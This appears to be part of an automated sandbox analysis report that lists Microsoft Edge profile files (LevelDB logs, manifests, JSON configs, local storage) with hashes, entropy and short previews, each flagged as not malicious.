Malicious:	false
Preview:	...m.................DB_VERSION.1.{..q...............&QUERY_TIMESTAMP:domains_config_gz2...13376808165730600..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.135805174837404
Encrypted:	false
SSDEEP:	6:HXm81N723oH+Tcwtk2WwnvB2KLlVvFN+q2PN723oH+Tcwtk2WwnvIFUv:zaYebkxwnvFLXFIvVaYebkxwnQFUv
MD5:	418237D9F90BF79D2B45126DB3B9A9B5
SHA1:	CB4A0B3AE8B0842AF2C655F7DF9F15FD7042718F
SHA-256:	6EDCF74050B52752E072E2AEC24CF0B4692DF0A7BA754BF34BFA4C75624A64D8
SHA-512:	CA26E5608A19FD72AF196D527E8807A82432466298158D7002612C6DC821D782E18594F6B60043DB8539E20C8224875DEDE8A831FB574AA90722F7A2F87770D4
Malicious:	false
Preview:	2024/11/22-23:02:42.832 1c78 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/22-23:02:42.867 1c78 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324618864533117
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6Ry:C1gAg1zfv6
MD5:	C4933A6BC55B27326532D2DC37544421
SHA1:	E4115EBC8EF30F87D2E9F12952ABB8138C96B93D
SHA-256:	096511EAA44C3FA97433160113635C81DB557566C1365412C5F5CEA6FE0AE121
SHA-512:	A12B12C2A1052C0353C453DE0021ECFD9E4DF26F23CB5999B4D7A3DA4EF5DD80C066C8671588A4E5258D8EAF550B69799A6B2BD58ADC5E9E5837D885BF37E8E6
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.132687107543328
Encrypted:	false
SSDEEP:	6:HXJ+q2PN723oH+Tcwt8aPrqIFUt8Y6Zmw+YjVkwON723oH+Tcwt8amLJ:3EvVaYebL3FUt8B/+c5OaYebQJ
MD5:	F1258E90F717365435DB3BAAF2280CC5
SHA1:	9085784E5B2BC11C447B57E4B78AC131B30160E6
SHA-256:	BA4FBBF0BA4470E575E3C283DF407773D29B060B44AC868E3EB1D1D7089C0FF8
SHA-512:	42174CB65E08992BC619FBC192107822284A80F7CAC33A24AB580442D1D046414BBE926CC03892E856713300324E209F9E6ED1016F50A441B795DEDE69EF7B6E
Malicious:	false
Preview:	2024/11/22-23:02:37.760 1f28 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/22-23:02:37.761 1f28 Recovering log #3.2024/11/22-23:02:37.762 1f28 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.132687107543328
Encrypted:	false
SSDEEP:	6:HXJ+q2PN723oH+Tcwt8aPrqIFUt8Y6Zmw+YjVkwON723oH+Tcwt8amLJ:3EvVaYebL3FUt8B/+c5OaYebQJ
MD5:	F1258E90F717365435DB3BAAF2280CC5
SHA1:	9085784E5B2BC11C447B57E4B78AC131B30160E6
SHA-256:	BA4FBBF0BA4470E575E3C283DF407773D29B060B44AC868E3EB1D1D7089C0FF8
SHA-512:	42174CB65E08992BC619FBC192107822284A80F7CAC33A24AB580442D1D046414BBE926CC03892E856713300324E209F9E6ED1016F50A441B795DEDE69EF7B6E
Malicious:	false
Preview:	2024/11/22-23:02:37.760 1f28 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/22-23:02:37.761 1f28 Recovering log #3.2024/11/22-23:02:37.762 1f28 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.1135045785571895
Encrypted:	false
SSDEEP:	6:Hos3+q2PN723oH+Tcwt865IFUt8YZqZmw+YZGVkwON723oH+Tcwt86+ULJ:uvVaYeb/WFUt8Eq/+EW5OaYeb/+SJ
MD5:	4BA8FD4180A2966E81FC10BCED81E824
SHA1:	26A3B8D1616B2999A7A2DCB3CE05AF73247CA554
SHA-256:	201D51A774E8F13346A82BA5AEBC91DBD0265334DE7592BFBD28FBC7BF45FB00
SHA-512:	FDC60233679C88D6375193F3E35C60CACB46607AAE9989601F38285199B58D3A4DEB2A11E8823DD6CF37254753C8D901C4080CCF304CBC81840EC0E21AE790DD
Malicious:	false
Preview:	2024/11/22-23:02:37.810 1f28 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/22-23:02:37.811 1f28 Recovering log #3.2024/11/22-23:02:37.811 1f28 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.1135045785571895
Encrypted:	false
SSDEEP:	6:Hos3+q2PN723oH+Tcwt865IFUt8YZqZmw+YZGVkwON723oH+Tcwt86+ULJ:uvVaYeb/WFUt8Eq/+EW5OaYeb/+SJ
MD5:	4BA8FD4180A2966E81FC10BCED81E824
SHA1:	26A3B8D1616B2999A7A2DCB3CE05AF73247CA554
SHA-256:	201D51A774E8F13346A82BA5AEBC91DBD0265334DE7592BFBD28FBC7BF45FB00
SHA-512:	FDC60233679C88D6375193F3E35C60CACB46607AAE9989601F38285199B58D3A4DEB2A11E8823DD6CF37254753C8D901C4080CCF304CBC81840EC0E21AE790DD
Malicious:	false
Preview:	2024/11/22-23:02:37.810 1f28 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/22-23:02:37.811 1f28 Recovering log #3.2024/11/22-23:02:37.811 1f28 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.105131875507616
Encrypted:	false
SSDEEP:	6:Hy2pyq2PN723oH+Tcwt8NIFUt8Yy2/1Zmw+Yy2pRkwON723oH+Tcwt8+eLJ:SuyvVaYebpFUt8f2/+fuR5OaYebqJ
MD5:	C02681670FFBC49768492FB7944934DC
SHA1:	E10EB4C623F8356A37C66BD1B23AD19C1A9235A2
SHA-256:	09C3693F5C698403880027EF22BB644B49917ADDE1E63D74BC7DBCB2B914DB06
SHA-512:	398E6636CBC58B03DB3FEDD8B67C5EBFCE6B3A4819F83EB292973F02226F71D756291ABFB7BA0EF520BA6CB97B149555F753AC81A0028BB53A1C06D7A427E5D6
Malicious:	false
Preview:	2024/11/22-23:02:38.487 e34 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/22-23:02:38.487 e34 Recovering log #3.2024/11/22-23:02:38.487 e34 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.105131875507616
Encrypted:	false
SSDEEP:	6:Hy2pyq2PN723oH+Tcwt8NIFUt8Yy2/1Zmw+Yy2pRkwON723oH+Tcwt8+eLJ:SuyvVaYebpFUt8f2/+fuR5OaYebqJ
MD5:	C02681670FFBC49768492FB7944934DC
SHA1:	E10EB4C623F8356A37C66BD1B23AD19C1A9235A2
SHA-256:	09C3693F5C698403880027EF22BB644B49917ADDE1E63D74BC7DBCB2B914DB06
SHA-512:	398E6636CBC58B03DB3FEDD8B67C5EBFCE6B3A4819F83EB292973F02226F71D756291ABFB7BA0EF520BA6CB97B149555F753AC81A0028BB53A1C06D7A427E5D6
Malicious:	false
Preview:	2024/11/22-23:02:38.487 e34 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/22-23:02:38.487 e34 Recovering log #3.2024/11/22-23:02:38.487 e34 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.21861961848037045
Encrypted:	false
SSDEEP:	3:xFW5lntFlljq7A/mhWJFuQ3yy7IOWUhool/dweytllrE9SFcTp4AGbNCV9RUI9:DMG75fOJ/d0Xi99pEYz
MD5:	5C6CFD47032EEC885828B58B0177A32B
SHA1:	C751EE878F373C988A69A4FE38E659EB6FF682F2
SHA-256:	0674BFBCE52B4EFAEFCB2C986BBAF2373448458A1BB02ABDBD9E39A4E2CE6E84
SHA-512:	00F050265FAEF84C20DA56CF4FF0A8750D7B26BB73C01E1A699A6CD5402F8679E51A27FF25C188D16A588DF331B7D420D9F6184B9CA27C4ABEB9131DEA909300
Malicious:	false
Preview:	.............u.'...&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 11, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	45056
Entropy (8bit):	3.917992133434064
Encrypted:	false
SSDEEP:	384:jj9P0Zgam6IoP/KbtWjl8773pL1cOQkQerORKToaADhf:jdTYP/rl87MOe2ORKc39
MD5:	66BC5EB6D77C8C6F644AF0D5645E1B36
SHA1:	0C9B7B1592AD2DD9647BF0A402CC838A7B9C92D7
SHA-256:	F2E0D072EDDA5558F2516C26EADB307D5C6AD235E7BCDC9CE1BB6B1C938ECA2B
SHA-512:	1A09BBC4104A6299F39A6D0548044E4E7E5E19DFCA93742667882D2A5DB89B7A805D7979D79F3C4FC758B750BBAD3CF85BE2E51C797A9ED7420E56FAFB84500B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	409
Entropy (8bit):	5.196151875198887
Encrypted:	false
SSDEEP:	12:KyvVaYeb8rcHEZrELFUt8Y/+4R5OaYeb8rcHEZrEZSJ:KYVaYeb8nZrExg86DOaYeb8nZrEZe
MD5:	2C6676A2DB77C7D073CD5665D2A7B6BD
SHA1:	3B8B736354006D9DA2184627069C1E88300D65F4
SHA-256:	70A6794BB31B5FA272C7AEEBC5E80714060C99C649F95DC7DF4942D651765C69
SHA-512:	81E8D9BCE7F449CA1219E17A5AB505EDA2295E57E6FC13EA7C84B9EADCDE6570AF7163F6B90B7EDADE18B6082B301B4B6B263731ABEC4B589EEA6A542554287B
Malicious:	false
Preview:	2024/11/22-23:02:42.153 e34 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/22-23:02:42.154 e34 Recovering log #3.2024/11/22-23:02:42.154 e34 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	409
Entropy (8bit):	5.196151875198887
Encrypted:	false
SSDEEP:	12:KyvVaYeb8rcHEZrELFUt8Y/+4R5OaYeb8rcHEZrEZSJ:KYVaYeb8nZrExg86DOaYeb8nZrEZe
MD5:	2C6676A2DB77C7D073CD5665D2A7B6BD
SHA1:	3B8B736354006D9DA2184627069C1E88300D65F4
SHA-256:	70A6794BB31B5FA272C7AEEBC5E80714060C99C649F95DC7DF4942D651765C69
SHA-512:	81E8D9BCE7F449CA1219E17A5AB505EDA2295E57E6FC13EA7C84B9EADCDE6570AF7163F6B90B7EDADE18B6082B301B4B6B263731ABEC4B589EEA6A542554287B
Malicious:	false
Preview:	2024/11/22-23:02:42.153 e34 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/22-23:02:42.154 e34 Recovering log #3.2024/11/22-23:02:42.154 e34 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1473
Entropy (8bit):	5.661359551049819
Encrypted:	false
SSDEEP:	24:5RZWumEUlHFflytwTi5tXZ8W2sFV03y1x4gcMyYPLjWy0kTN5zgFHHmi28/V:vZQEA9W3XZr2iV03Sx48yiftp+HH328t
MD5:	FAFCEFA431AA3F43DF2FB92E988AA90D
SHA1:	E1E08A7DE854788A11CEF3B0DFA194C789A4ABCE
SHA-256:	5B32DDC36AC244A080A5EB4833746C71D34D54CEDE758F254D759277C447E1E2
SHA-512:	186D595A8D54B5779E7462A114D91C427650579F503BCE75D029B875A54B9951B2EDC429395718D994368B2FDA8398FC3E73A39B383E2E2A24B864FB37210DFC
Malicious:	false
Preview:	.6..z................VERSION.1..META:https://ntp.msn.com.............._https://ntp.msn.com..FallbackNavigationResult?.{"r":"edgenext-base-v1-empty. NetworkCall","ic":true,"te":785}.!_https://ntp.msn.com..LastKnownPV..1732334575292.-_https://ntp.msn.com..LastVisuallyReadyMarker..1732334576697.._https://ntp.msn.com..MUID!.21DC5826412B689A12D14D66402C691D.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1732334575372,"schedule":[40,-1,33,-1,4,-1,-1],"scheduleFixed":[40,-1,33,-1,4,-1,-1],"simpleSchedule":[46,47,14,33,39,31,35]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1732334575246.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241122.365"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.122323328253383
Encrypted:	false
SSDEEP:	6:HyqwAq2PN723oH+Tcwt8a2jMGIFUt8YykXZmw+YyC5VFkwON723oH+Tcwt8a2jM4:SqxvVaYeb8EFUt8fg/+fC575OaYeb8bJ
MD5:	E92DF0C72879E1FF5DC6A009846AB16B
SHA1:	BBCC66D3A0E9B7BD0DA598B9C881B130DBA77AC5
SHA-256:	7CE6725CB13221E14E952776AE5804EBB37E3A1E686823F9A8D43B269BD8AB3D
SHA-512:	CCDC82E90EFD1720953E2A0B1517203D4972F2C551FEFCF029BF7D1BCE052C95C0000DE975A7D7EB644E75C0763C38363F3B14EBB1B001E62877C467FB8D8CA3
Malicious:	false
Preview:	2024/11/22-23:02:38.781 1d10 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/22-23:02:38.799 1d10 Recovering log #3.2024/11/22-23:02:38.807 1d10 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.122323328253383
Encrypted:	false
SSDEEP:	6:HyqwAq2PN723oH+Tcwt8a2jMGIFUt8YykXZmw+YyC5VFkwON723oH+Tcwt8a2jM4:SqxvVaYeb8EFUt8fg/+fC575OaYeb8bJ
MD5:	E92DF0C72879E1FF5DC6A009846AB16B
SHA1:	BBCC66D3A0E9B7BD0DA598B9C881B130DBA77AC5
SHA-256:	7CE6725CB13221E14E952776AE5804EBB37E3A1E686823F9A8D43B269BD8AB3D
